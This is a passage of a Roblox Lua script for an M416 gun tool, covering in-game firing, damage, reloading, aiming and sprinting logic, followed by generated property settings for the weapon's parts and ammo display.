  668. end
  669. for i, v in ipairs(weldC0s) do
  670. if v[1] and v[2] then
  671. local w = Instance.new("Weld", Tool.Handle)
  672. w.Part0 = Tool.Handle
  673. w.Part1 = v[1]
  674. w.C0 = v[2]
  675. table.insert(welds, w)
  676. end
  677. end
  678. end)
  679. wait()
  680. Welded = true
  681. end)
  682. end
  683.  
  684. local Left_Weld, Right_Weld
  685.  
  686. Ammo.Changed:connect(Update_Gui)
  687. StoredAmmo.Changed:connect(Update_Gui)
  688.  
  689. Settings.Range = math.min(Settings.Range, 999)
  690.  
  691. local Ignore_Model = Workspace:FindFirstChild("Ray_Ignore") or Instance.new("Model", Workspace)
  692. Ignore_Model.Name = "Ray_Ignore"
  693.  
  694. local Ray_Ignore = {Character, Ignore_Model, Camera}
  695.  
  696. Character.Humanoid.Died:connect(function()
  697. Tool.Parent = Player.Backpack
  698. end)
  699.  
  700. function Fire(Mouse)
  701. local Spread = CFrame.Angles(math.rad(math.random(-Settings.Spread, Settings.Spread)/10), math.rad(math.random(-Settings.Spread, Settings.Spread)/10), math.rad(math.random(-Settings.Spread, Settings.Spread)/10))
  702. local Ray = Ray.new(Character.Head.Position, (CFrame.new(Character.Head.Position, Mouse.Hit.p) * Spread).lookVector.unit * Settings.Range)
  703. local Hit, Pos = Workspace:FindPartOnRayWithIgnoreList(Ray, Ray_Ignore)
  704. if Hit and Hit.Parent:FindFirstChild("Humanoid") then
  705. local Hit_Player = game.Players:GetPlayerFromCharacter(Hit.Parent)
  706. if Settings.AntiTK and not Hit_Player.Neutral and Hit_Player.TeamColor == Player.TeamColor then
  707. return
  708. end
  709. local Humanoid = Hit.Parent.Humanoid
  710. local c = Instance.new("ObjectValue")
  711. c.Name = "creator"
  712. c.Value = Player
  713. game.Debris:AddItem(c, 3)
  714. c.Parent = Humanoid
  715. if Hit.Name == "Head" then
  716. Humanoid.Health = Humanoid.Health - math.random(Settings.HeadShotDamage[1], Settings.HeadShotDamage[2])
  717. else
  718. Humanoid.Health = Humanoid.Health - math.random(Settings.Damage[1], Settings.Damage[2])
  719. end
  720. elseif Hit then
  721. local Hit_Part = Instance.new("Part", Ignore_Model)
  722. Hit_Part.FormFactor = "Custom"
  723. Hit_Part.TopSurface = 0
  724. Hit_Part.BottomSurface = 0
  725. Hit_Part.Anchored = true
  726. Hit_Part.CanCollide = false
  727. Hit_Part.Size = Vector3.new()
  728. Hit_Part.CFrame = CFrame.new(Pos) * CFrame.Angles(math.random(0, 360), math.random(0, 360), math.random(0, 360))
  729. Hit_Part.BrickColor = BrickColor.new("Black")
  730. game.Debris:AddItem(Hit_Part, Settings.ImpactDuration)
  731. if not Hit.Anchored then
  732. local w = Instance.new("Weld", Hit_Part)
  733. w.Part0 = Hit
  734. w.Part1 = Hit_Part
  735. w.C0 = Hit.CFrame:toObjectSpace(Hit_Part.CFrame)
  736. Hit_Part.Anchored = false
  737. end
  738. if Hit.Parent:IsA("Hat") and Settings.DropHats then
  739. Hit.Parent.Parent = workspace
  740. game.Debris:AddItem(Hit, 3)
  741. end
  742. end
  743. end
  744.  
  745. local Can_Shoot = true
  746. local Reloading = false
  747.  
  748. local First_Person = false
  749.  
  750. local Mouse_Held
  751.  
  752. Tool.Equipped:connect(function(Mouse)
  753. Equipped = true
  754. if Settings.Weld and not Welded then
  755. wait()
  756. Tool.Parent = Player.Backpack
  757. end
  758. Character = Player.Character
  759. if Gui then
  760. return
  761. end
  762. Ray_Ignore = {Character, Ignore_Model, Camera}
  763. Mouse.Icon = Settings.Icons.Idle
  764. Gui = script.Gui:Clone()
  765. Gui.Parent = Player.PlayerGui
  766. Gui.Frame.Position = UDim2.new(Settings.GuiPos.X, Gui.Frame.Position.X.Offset, 1.1, Gui.Frame.Position.Y.Offset)
  767. Gui.Frame:TweenPosition(UDim2.new(Settings.GuiPos.X, Gui.Frame.Position.X.Offset, Settings.GuiPos.Y, Gui.Frame.Position.Y.Offset), "Out", "Bounce", 1)
  768. CanUpdateGui = true
  769. Update_Gui()
  770. Mouse.Button1Down:connect(function()
  771. if Can_Shoot and Ammo.Value > 0 and Character.Humanoid.Health > 0 then
  772. Mouse_Held = true
  773. while true do
  774. Can_Shoot = false
  775. Delay(0, function()
  776. local t = math.min(Settings.FireMouseAnimTime/3, Settings.FireRate/3)
  777. if not Aiming then
  778. Mouse.Icon = Settings.Icons.Fire1
  779. end
  780. wait(t)
  781. if not Aiming then
  782. if Reloading then return end
  783. Mouse.Icon = Settings.Icons.Fire2
  784. end
  785. wait(t)
  786. if not Aiming then
  787. if Reloading then return end
  788. Mouse.Icon = Settings.Icons.Fire3
  789. end
  790. wait(t)
  791. if not Aiming then
  792. if Reloading then return end
  793. Mouse.Icon = Settings.Icons.Idle
  794. end
  795. end)
  796. if Settings.Smoke then
  797. for i, v in pairs(Settings.Smokes) do
  798. local s = v[1]:Clone()
  799. s.Parent = Settings.SmokePart
  800. s.Enabled = true
  801. game.Debris:AddItem(s, v[2])
  802. if v[3] then
  803. Delay(v[3], function()
  804. s.Enabled = false
  805. end)
  806. end
  807. end
  808. end
  809. for _ = 1, Settings.Bullets do
  810. pcall(function() Fire(Mouse) end)
  811. end
  812. Camera.CoordinateFrame = CFrame.new(Camera.Focus.p) * (Camera.CoordinateFrame - Camera.CoordinateFrame.p) * CFrame.Angles(math.abs(Settings.Recoil), 0, 0) * CFrame.new(0, 0, (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude)
  813. if Tool.Handle:FindFirstChild("Shoot") then
  814. Tool.Handle.Shoot:Play()
  815. end
  816. Ammo.Value = Ammo.Value - 1
  817. wait(Settings.FireRate)
  818. if not Settings.Automatic or Ammo.Value <= 0 or Character.Humanoid.Health <= 0 or not Mouse_Held then
  819. break
  820. end
  821. end
  822. Can_Shoot = true
  823. elseif Can_Shoot and Character.Humanoid.Health > 0 and Tool.Handle:FindFirstChild("Click") then
  824. Tool.Handle.Click:Play()
  825. end
  826. end)
  827. Mouse.Button1Up:connect(function()
  828. Mouse_Held = false
  829. end)
  830. Mouse.KeyDown:connect(function(Key)
  831. if Key:upper() == Settings.ReloadKey:upper() and Can_Shoot and StoredAmmo.Value > 0 and not Aiming then
  832. if Settings.IncludeChamberedBullet and Ammo.Value == Settings.Ammo + 1 or not Settings.IncludeChamberedBullet and Ammo.Value == Settings.Ammo then
  833. return
  834. end
  835. Can_Shoot = false
  836. Reloading = true
  837. local TextLabel = Gui.Frame.AmmoDisplay
  838. Delay(0, function()
  839. CanUpdateGui = false
  840. TextLabel.Text = "Reloading."
  841. wait(Settings.ReloadTime/3)
  842. if TextLabel then
  843. TextLabel.Text = "Reloading.."
  844. end
  845. wait(Settings.ReloadTime/3)
  846. if TextLabel then
  847. TextLabel.Text = "Reloading..."
  848. end
  849. end)
  850. if Tool.Handle:FindFirstChild("Reload") then
  851. Tool.Handle.Reload:Play()
  852. end
  853. Mouse.Icon = Settings.Icons.Reload
  854. wait(Settings.ReloadTime)
  855. Mouse.Icon = Settings.Icons.Idle
  856. CanUpdateGui = true
  857. local m = Settings.Ammo
  858. if Ammo.Value > 0 and Settings.IncludeChamberedBullet then
  859. m = m + 1
  860. end
  861. if (StoredAmmo.Value - (m - Ammo.Value)) <= 0 then
  862. Ammo.Value = Ammo.Value + StoredAmmo.Value
  863. StoredAmmo.Value = 0
  864. else
  865. StoredAmmo.Value = StoredAmmo.Value - (m - Ammo.Value)
  866. Ammo.Value = m
  867. end
  868. Can_Shoot = true
  869. Reloading = false
  870. elseif Key:upper() == Settings.SprintKey:upper() and Settings.Sprint and not Aiming then
  871. Sprinting = true
  872. Character.Humanoid.WalkSpeed = Settings.SprintSpeed
  873. Settings.Spread = Settings.Spread + Settings.SprintSpreadIncrease
  874. end
  875. end)
  876. Mouse.KeyUp:connect(function(Key)
  877. if Key:upper() == Settings.SprintKey:upper() and Sprinting then
  878. Sprinting = false
  879. Character.Humanoid.WalkSpeed = 16
  880. Settings.Spread = Settings.Spread - Settings.SprintSpreadIncrease
  881. Right_Weld.C0 = CFrame.new(0, -1.5, 0)
  882. end
  883. end)
  884. Mouse.Button2Down:connect(function()
  885. if not Reloading and not Sprinting and not Aiming and (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude < 1 then
  886. Aiming = true
  887. Mouse.Icon = Settings.Icons.Aim
  888. Right_Weld.C1 = CFrame.new()
  889. Right_Weld.C0 = CFrame.new()
  890. Right_Weld.C1 = Character.Head.CFrame:toObjectSpace(Settings.AimPart.CFrame)
  891. Left_Weld.C1 = Settings.LeftAimPos
  892. if Settings.ChangeFOV[1] then
  893. Camera.FieldOfView = Settings.ChangeFOV[2]
  894. end
  895. Tool.GripPos = Orig_Grip + Settings.AimGripOffset
  896. Settings.Spread = Settings.Spread - Settings.SpreadReduction
  897. end
  898. end)
  899. Mouse.Button2Up:connect(function()
  900. if Aiming then
  901. Mouse.Icon = Settings.Icons.Idle
  902. Tool.GripPos = Orig_Grip
  903. Right_Weld.C1 = Settings.RightPos
  904. Right_Weld.C0 = CFrame.new(0, -1.5, 0)
  905. Left_Weld.C1 = Settings.LeftPos
  906. if Settings.ChangeFOV[1] then
  907. Camera.FieldOfView = 70
  908. end
  909. Settings.Spread = Settings.Spread + Settings.SpreadReduction
  910. Character.Torso.Neck.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  911. Character.Torso.Neck.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  912. wait(0.25)
  913. Aiming = false
  914. end
  915. end)
  916. wait()
  917. Camera.Changed:connect(function()
  918. if (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude < 1 and Equipped then
  919. Mouse.TargetFilter = workspace
  920. Character.Torso.Neck.C1 = CFrame.new()
  921. Character.Torso.Neck.C0 = CFrame.new(0, 1.5, 0) * CFrame.Angles(math.asin((Mouse.Hit.p - Mouse.Origin.p).unit.y), 0, 0)
  922. end
  923. end)
  924. Mouse.Idle:connect(function()
  925. if (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude < 1 and Equipped then
  926. Mouse.TargetFilter = workspace
  927. Character.Torso.Neck.C1 = CFrame.new()
  928. Character.Torso.Neck.C0 = CFrame.new(0, 1.5, 0) * CFrame.Angles(math.asin((Mouse.Hit.p - Mouse.Origin.p).unit.y), 0, 0)
  929. end
  930. end)
  931. while wait() and Equipped do
  932. if Sprinting then
  933. Right_Weld.C0 = CFrame.new(0, -1.5, 0) * Settings.SprintArmOffset
  934. Left_Weld.C0 = CFrame.new(0, -1.5, 0) * Settings.SprintArmOffset
  935. elseif not Aiming then
  936. Left_Weld.C0 = CFrame.new(0, -1.5, 0)
  937. end
  938. if (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude > 1 and Equipped then
  939. Mouse.TargetFilter = nil
  940. Character.Torso.Neck.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  941. Character.Torso.Neck.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  942. end
  943. end
  944. end)
  945.  
  946. local Arms_Made
  947. local Fake_Arm_Right, Fake_Arm_Left, Fake_Arm_Model
  948.  
  949. Tool.Equipped:connect(function(Mouse)
  950. if Character and not Arms_Made then
  951. Arms_Made = true
  952. local Torso = Character.Torso
  953. Torso["Right Shoulder"].Part1 = nil
  954. Left_Weld = Instance.new("Weld", Torso)
  955. Left_Weld.Name = "Left_Weld"
  956. Left_Weld.Part0 = Character.Head
  957. Left_Weld.C0 = CFrame.new(0, -1.5, 0)
  958. if not Settings.OneHanded then
  959. Torso["Left Shoulder"].Part1 = nil
  960. Left_Weld.Part1 = Character["Left Arm"]
  961. end
  962. Right_Weld = Instance.new("Weld", Torso)
  963. Right_Weld.Name = "Right_Weld"
  964. Right_Weld.Part0 = Character.Head
  965. Right_Weld.Part1 = Character["Right Arm"]
  966. Right_Weld.C0 = CFrame.new(0, -1.5, 0)
  967. Left_Weld.C1 = Settings.LeftPos
  968. Right_Weld.C1 = Settings.RightPos
  969. end
  970. if Settings.FakeArms and not Fake_Arm_Right then
  971. Fake_Arm_Right, Fake_Arm_Left = Character["Right Arm"]:Clone(), Character["Left Arm"]:Clone()
  972. Fake_Arm_Right.FormFactor, Fake_Arm_Left.FormFactor = "Custom", "Custom"
  973. Fake_Arm_Right.Size, Fake_Arm_Left.Size = Vector3.new(), Vector3.new()
  974. local fakeArms = {Fake_Arm_Right, Fake_Arm_Left}
  975. for i = 1, 2 do
  976. local w = Instance.new("Weld", fakeArms[i])
  977. w.Part0 = Character[fakeArms[i].Name]
  978. w.Part1 = fakeArms[i]
  979. fakeArms[i].Transparency = Settings.FakeArmTransparency
  980. end
  981. Fake_Arm_Model = Instance.new("Model", Camera)
  982. Fake_Arm_Right.Parent = Fake_Arm_Model
  983. if not Settings.OneHanded then
  984. Fake_Arm_Left.Parent = Fake_Arm_Model
  985. end
  986. Fake_Arm_Model.Name = "FakeArms"
  987. if Settings.CharacterMeshes then
  988. for i, v in pairs(Character:GetChildren()) do
  989. if v:IsA("CharacterMesh") and v.BodyPart == Enum.BodyPart.LeftArm or v:IsA("CharacterMesh") and v.BodyPart == Enum.BodyPart.RightArm then
  990. v:Clone().Parent = Fake_Arm_Model
  991. end
  992. end
  993. end
  994. if Character:FindFirstChild("Shirt") then
  995. Instance.new("Humanoid", Fake_Arm_Model)
  996. Character.Shirt:Clone().Parent = Fake_Arm_Model
  997. else
  998. local Arm_Mesh = Instance.new("SpecialMesh", Fake_Arm_Right)
  999. Arm_Mesh.MeshType, Arm_Mesh.Scale = "Brick", Vector3.new(5, 10, 5)
  1000. local Arm_Mesh2 = Instance.new("SpecialMesh", Fake_Arm_Left)
  1001. Arm_Mesh2.MeshType, Arm_Mesh2.Scale = "Brick", Vector3.new(5, 10, 5)
  1002. end
  1003. end
  1004. end)
  1005.  
  1006. Tool.Unequipped:connect(function()
  1007. Equipped = false
  1008. Tool.GripPos = Orig_Grip
  1009. Aiming = false
  1010. Settings.Spread = Orig_Spread
  1011. if Settings.ChangeFOV[1] then
  1012. Camera.FieldOfView = 70
  1013. end
  1014. if Gui then
  1015. Gui:Destroy()
  1016. Gui = nil
  1017. end
  1018. for i, v in pairs(Tool.Handle:GetChildren()) do
  1019. if v:IsA("Sound") then
  1020. v:Stop()
  1021. end
  1022. end
  1023. if Fake_Arm_Right and Fake_Arm_Left and Fake_Arm_Model then
  1024. Fake_Arm_Model:Destroy()
  1025. Fake_Arm_Right, Fake_Arm_Left, Fake_Arm_Model = nil, nil, nil
  1026. end
  1027. if Character and Left_Weld and Right_Weld then
  1028. Arms_Made = false
  1029. local Torso = Character.Torso
  1030. Torso["Right Shoulder"].Part1, Torso["Left Shoulder"].Part1 = Character["Right Arm"], Character["Left Arm"]
  1031. Left_Weld:Destroy()
  1032. Right_Weld:Destroy()
  1033. end
  1034. Sprinting = false
  1035. Character.Torso.Neck.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1036. Character.Torso.Neck.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1037. Character.Humanoid.WalkSpeed = 16
  1038. end)
  1039.  
  1040. end))
  1041. NumberValue21.Name = "Ammo"
  1042. NumberValue21.Parent = LocalScript20
  1043. NumberValue21.Value = 31
  1044. NumberValue22.Name = "StoredAmmo"
  1045. NumberValue22.Parent = LocalScript20
  1046. NumberValue22.Value = 400
  1047. Smoke23.Parent = LocalScript20
  1048. Smoke23.Size = 0.25
  1049. Smoke23.Color = Color3.new(0.372549, 0.372549, 0.372549)
  1050. Smoke23.Enabled = false
  1051. Smoke23.Opacity = 0.10000000149012
  1052. Smoke23.Color = Color3.new(0.372549, 0.372549, 0.372549)
  1053. Smoke24.Name = "Smoke1"
  1054. Smoke24.Parent = LocalScript20
  1055. Smoke24.Size = 0.10000000149012
  1056. Smoke24.Color = Color3.new(1, 0.6, 0.2)
  1057. Smoke24.Enabled = false
  1058. Smoke24.Opacity = 0.40000000596046
  1059. Smoke24.Color = Color3.new(1, 0.6, 0.2)
  1060. PointLight25.Name = "Flash"
  1061. PointLight25.Parent = LocalScript20
  1062. PointLight25.Color = Color3.new(0.772549, 0.384314, 0)
  1063. PointLight25.Brightness = 10
  1064. PointLight25.Range = 10
  1065. PointLight25.Shadows = true
  1066. PointLight25.Color = Color3.new(0.772549, 0.384314, 0)
  1067. ScreenGui26.Name = "Gui"
  1068. ScreenGui26.Parent = LocalScript20
  1069. Frame27.Parent = ScreenGui26
  1070. Frame27.Transparency = 0.5
  1071. Frame27.Size = UDim2.new(0, 120, 0, 35)
  1072. Frame27.Position = UDim2.new(1, -150, 1, -44)
  1073. Frame27.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1074. Frame27.BackgroundTransparency = 0.5
  1075. Frame27.BorderSizePixel = 3
  1076. TextLabel28.Name = "AmmoDisplay"
  1077. TextLabel28.Parent = Frame27
  1078. TextLabel28.Transparency = 1
  1079. TextLabel28.Size = UDim2.new(1, 0, 1, 0)
  1080. TextLabel28.Text = ""
  1081. TextLabel28.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1082. TextLabel28.BackgroundTransparency = 1
  1083. TextLabel28.Font = Enum.Font.SourceSansBold
  1084. TextLabel28.FontSize = Enum.FontSize.Size24
  1085. TextLabel28.TextColor3 = Color3.new(0, 0, 0)
  1086. TextLabel28.TextStrokeColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1087. TextLabel28.TextStrokeTransparency = 0.5
  1088. TextLabel28.TextXAlignment = Enum.TextXAlignment.Right
  1089. Frame29.Parent = ScreenGui26
  1090. Frame29.Transparency = 0.5
  1091. Frame29.Size = UDim2.new(0, 126, 0, 10)
  1092. Frame29.Position = UDim2.new(1, -153, 1, -62)
  1093. Frame29.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1094. Frame29.BackgroundTransparency = 0.5
  1095. Frame29.BorderSizePixel = 3
  1096. TextLabel30.Name = "Caliber"
  1097. TextLabel30.Parent = Frame29
  1098. TextLabel30.Transparency = 1
  1099. TextLabel30.Size = UDim2.new(1, 0, 1, 0)
  1100. TextLabel30.Text = "Made by 1ndrew"
  1101. TextLabel30.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1102. TextLabel30.BackgroundTransparency = 1
  1103. TextLabel30.Font = Enum.Font.SourceSansBold
  1104. TextLabel30.FontSize = Enum.FontSize.Size28
  1105. TextLabel30.TextColor3 = Color3.new(0, 0, 0)
  1106. TextLabel30.TextStrokeColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1107. TextLabel30.TextStrokeTransparency = 0.5
  1108. TextLabel30.TextXAlignment = Enum.TextXAlignment.Right
  1109. Frame31.Parent = ScreenGui26
  1110. Frame31.Transparency = 0.5
  1111. Frame31.Size = UDim2.new(0, 126, 0, 40)
  1112. Frame31.Position = UDim2.new(1, -153, 1, -109)
  1113. Frame31.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1114. Frame31.BackgroundTransparency = 0.5
  1115. Frame31.BorderSizePixel = 3
  1116. TextLabel32.Name = "Accessories"
  1117. TextLabel32.Parent = Frame31
  1118. TextLabel32.Transparency = 1
  1119. TextLabel32.Size = UDim2.new(1, 0, 1, 0)
  1120. TextLabel32.Text = "M416"
  1121. TextLabel32.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1122. TextLabel32.BackgroundTransparency = 1
  1123. TextLabel32.Font = Enum.Font.SourceSansBold
  1124. TextLabel32.FontSize = Enum.FontSize.Size14
  1125. TextLabel32.TextColor3 = Color3.new(0, 0, 0)
  1126. TextLabel32.TextStrokeColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1127. TextLabel32.TextStrokeTransparency = 0.5
  1128. TextLabel32.TextXAlignment = Enum.TextXAlignment.Right
  1129. Part33.Parent = Tool0
  1130. Part33.Material = Enum.Material.SmoothPlastic
  1131. Part33.BrickColor = BrickColor.new("Mid gray")
  1132. Part33.Rotation = Vector3.new(-90, 0, 179.459991)
  1133. Part33.Anchored = true
  1134. Part33.FormFactor = Enum.FormFactor.Custom
  1135. Part33.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1136. Part33.CFrame = CFrame.new(27.0690918, 1.65112305, 138.333984, -0.999955833, -0.00939139724, -2.45538843e-08, 1.02097069e-07, -3.55030458e-08, 0.999999821, -0.00939165056, 0.999955356, 3.52667371e-08)
  1137. Part33.BottomSurface = Enum.SurfaceType.Smooth
  1138. Part33.TopSurface = Enum.SurfaceType.Smooth
  1139. Part33.Color = Color3.new(0.803922, 0.803922, 0.803922)
  1140. Part33.Position = Vector3.new(27.0690918, 1.65112305, 138.333984)
  1141. Part33.Orientation = Vector3.new(-89.9700012, -34.8499985, 109.169998)
  1142. Part33.Color = Color3.new(0.803922, 0.803922, 0.803922)
  1143. CylinderMesh34.Parent = Part33
  1144. CylinderMesh34.Offset = Vector3.new(0, 0.0120000001, 0)
  1145. CylinderMesh34.Scale = Vector3.new(0.0299999993, 0.063000001, 0.0299999993)
  1146. CylinderMesh34.Scale = Vector3.new(0.0299999993, 0.063000001, 0.0299999993)
  1147. Part35.Parent = Tool0
  1148. Part35.Material = Enum.Material.SmoothPlastic
  1149. Part35.BrickColor = BrickColor.new("Mid gray")
  1150. Part35.Rotation = Vector3.new(-90, 0, 179.459991)
  1151. Part35.Anchored = true
  1152. Part35.FormFactor = Enum.FormFactor.Custom
  1153. Part35.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1154. Part35.CFrame = CFrame.new(27.1169434, 1.65112305, 138.33429, -0.999955833, -0.00939139724, -2.45538843e-08, 1.02097069e-07, -3.55030458e-08, 0.999999821, -0.00939165056, 0.999955356, 3.52667371e-08)
  1155. Part35.BottomSurface = Enum.SurfaceType.Smooth
  1156. Part35.TopSurface = Enum.SurfaceType.Smooth
  1157. Part35.Color = Color3.new(0.803922, 0.803922, 0.803922)
  1158. Part35.Position = Vector3.new(27.1169434, 1.65112305, 138.33429)
  1159. Part35.Orientation = Vector3.new(-89.9700012, -34.8499985, 109.169998)
  1160. Part35.Color = Color3.new(0.803922, 0.803922, 0.803922)
  1161. CylinderMesh36.Parent = Part35
  1162. CylinderMesh36.Offset = Vector3.new(0, 0.0120000001, 0)
  1163. CylinderMesh36.Scale = Vector3.new(0.0299999993, 0.063000001, 0.0299999993)
  1164. CylinderMesh36.Scale = Vector3.new(0.0299999993, 0.063000001, 0.0299999993)
  1165. Part37.Parent = Tool0
  1166. Part37.Material = Enum.Material.SmoothPlastic
  1167. Part37.BrickColor = BrickColor.new("Dark stone grey")
  1168. Part37.Reflectance = 0.050000000745058
  1169. Part37.Rotation = Vector3.new(-180, -89.4599991, -90)
  1170. Part37.Anchored = true
  1171. Part37.FormFactor = Enum.FormFactor.Custom
  1172. Part37.Size = Vector3.new(0.209999993, 0.330000013, 0.209999993)
  1173. Part37.CFrame = CFrame.new(27.0869141, 1.27026403, 138.981995, 8.71412595e-08, 0.00939127803, -0.999955893, 0.999999881, 2.9562246e-08, 8.74227624e-08, 3.03819299e-08, -0.999955535, -0.00939150155)
  1174. Part37.BottomSurface = Enum.SurfaceType.Smooth
  1175. Part37.TopSurface = Enum.SurfaceType.Smooth
  1176. Part37.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1177. Part37.Position = Vector3.new(27.0869141, 1.27026403, 138.981995)
  1178. Part37.Orientation = Vector3.new(0, -90.5400009, 90)
  1179. Part37.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1180. CylinderMesh38.Parent = Part37
  1181. CylinderMesh38.Scale = Vector3.new(1.10000002, 1, 1)
  1182. CylinderMesh38.Scale = Vector3.new(1.10000002, 1, 1)
  1183. Part39.Parent = Tool0
  1184. Part39.Material = Enum.Material.SmoothPlastic
  1185. Part39.BrickColor = BrickColor.new("Dark stone grey")
  1186. Part39.Rotation = Vector3.new(-89.4599991, 45, 89.2399979)
  1187. Part39.Anchored = true
  1188. Part39.FormFactor = Enum.FormFactor.Custom
  1189. Part39.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1190. Part39.CFrame = CFrame.new(27.0773926, 1.66210902, 138.345764, 0.00939139724, -0.707075477, 0.707075417, 3.55030458e-08, 0.70710659, 0.707106471, -0.999955356, -0.00664065778, 0.00664073229)
  1191. Part39.BottomSurface = Enum.SurfaceType.Smooth
  1192. Part39.TopSurface = Enum.SurfaceType.Smooth
  1193. Part39.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1194. Part39.Position = Vector3.new(27.0773926, 1.66210902, 138.345764)
  1195. Part39.Orientation = Vector3.new(-45, 89.4599991, 0)
  1196. Part39.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1197. BlockMesh40.Parent = Part39
  1198. BlockMesh40.Offset = Vector3.new(0, 0, 0.00300000003)
  1199. BlockMesh40.Scale = Vector3.new(0.0599999987, 0.0749999955, 0.254999995)
  1200. BlockMesh40.Scale = Vector3.new(0.0599999987, 0.0749999955, 0.254999995)
  1201. Part41.Parent = Tool0
  1202. Part41.Material = Enum.Material.SmoothPlastic
  1203. Part41.BrickColor = BrickColor.new("Black")
  1204. Part41.Reflectance = 0.050000000745058
  1205. Part41.Rotation = Vector3.new(-180, 0.539999962, -180)
  1206. Part41.Anchored = true
  1207. Part41.FormFactor = Enum.FormFactor.Custom
  1208. Part41.Size = Vector3.new(0.200000003, 0.200000003, 0.99000001)
  1209. Part41.CFrame = CFrame.new(27.0887451, 1.39013696, 138.7724, -0.999955893, 8.71412595e-08, 0.00939127803, 8.74227624e-08, 0.999999881, 2.9562246e-08, -0.00939150155, 3.03819299e-08, -0.999955535)
  1210. Part41.BottomSurface = Enum.SurfaceType.Smooth
  1211. Part41.TopSurface = Enum.SurfaceType.Smooth
  1212. Part41.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1213. Part41.Position = Vector3.new(27.0887451, 1.39013696, 138.7724)
  1214. Part41.Orientation = Vector3.new(0, 179.459991, 0)
  1215. Part41.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1216. BlockMesh42.Parent = Part41
  1217. BlockMesh42.Offset = Vector3.new(0, 0, 0.0599999987)
  1218. BlockMesh42.Scale = Vector3.new(0.75, 0.599999964, 1.12099993)
  1219. BlockMesh42.Scale = Vector3.new(0.75, 0.599999964, 1.12099993)
  1220. Part43.Parent = Tool0
  1221. Part43.Material = Enum.Material.SmoothPlastic
  1222. Part43.BrickColor = BrickColor.new("Black")
  1223. Part43.Reflectance = 0.050000000745058
  1224. Part43.Rotation = Vector3.new(-180, -89.4599991, -90)
  1225. Part43.Anchored = true
  1226. Part43.FormFactor = Enum.FormFactor.Custom
  1227. Part43.Size = Vector3.new(0.209999993, 0.200000003, 0.209999993)
  1228. Part43.CFrame = CFrame.new(27.0847168, 1.27026403, 139.204041, 7.55679963e-08, 0.00939127803, -0.999955833, 0.999999702, -2.19092968e-07, 7.35136751e-08, -2.1839287e-07, -0.999955297, -0.00939120352)
  1229. Part43.BottomSurface = Enum.SurfaceType.Smooth
  1230. Part43.TopSurface = Enum.SurfaceType.Smooth
  1231. Part43.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1232. Part43.Position = Vector3.new(27.0847168, 1.27026403, 139.204041)
  1233. Part43.Orientation = Vector3.new(0, -90.5400009, 90)
  1234. Part43.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1235. CylinderMesh44.Parent = Part43
  1236. CylinderMesh44.Scale = Vector3.new(1.10000002, 0.5625, 1.10000002)
  1237. CylinderMesh44.Scale = Vector3.new(1.10000002, 0.5625, 1.10000002)
  1238. Part45.Parent = Tool0
  1239. Part45.Material = Enum.Material.SmoothPlastic
  1240. Part45.BrickColor = BrickColor.new("Black")
  1241. Part45.Reflectance = 0.050000000745058
  1242. Part45.Rotation = Vector3.new(90, 0, 0.539999962)
  1243. Part45.Anchored = true
  1244. Part45.FormFactor = Enum.FormFactor.Custom
  1245. Part45.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1246. Part45.CFrame = CFrame.new(27.0944824, 1.43823195, 138.142151, 0.999955654, -0.00939129293, -7.51574873e-08, -7.35136396e-08, 1.75381615e-07, -0.999999702, 0.00939139724, 0.999955297, 1.74683493e-07)
  1247. Part45.BottomSurface = Enum.SurfaceType.Smooth
  1248. Part45.TopSurface = Enum.SurfaceType.Smooth
  1249. Part45.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1250. Part45.Position = Vector3.new(27.0944824, 1.43823195, 138.142151)
  1251. Part45.Orientation = Vector3.new(89.9599991, -23.2799988, -22.7399998)
  1252. Part45.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1253. BlockMesh46.Parent = Part45
  1254. BlockMesh46.Offset = Vector3.new(0.0599999987, 0.0149999997, 0.0375000015)
  1255. BlockMesh46.Scale = Vector3.new(0.450000018, 0.299999982, 0.149999991)
  1256. BlockMesh46.Scale = Vector3.new(0.450000018, 0.299999982, 0.149999991)
  1257. Part47.Parent = Tool0
  1258. Part47.Material = Enum.Material.SmoothPlastic
  1259. Part47.BrickColor = BrickColor.new("Black")
  1260. Part47.Reflectance = 0.050000000745058
  1261. Part47.Rotation = Vector3.new(-90, 0, -0.539999962)
  1262. Part47.Anchored = true
  1263. Part47.FormFactor = Enum.FormFactor.Custom
  1264. Part47.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
  1265. Part47.CFrame = CFrame.new(27.0892334, 0.901122987, 138.718384, 0.999955833, 0.00939102471, 7.51575016e-08, -7.35136609e-08, -1.75381558e-07, 0.999999583, 0.00939126313, -0.999954998, -1.74683436e-07)
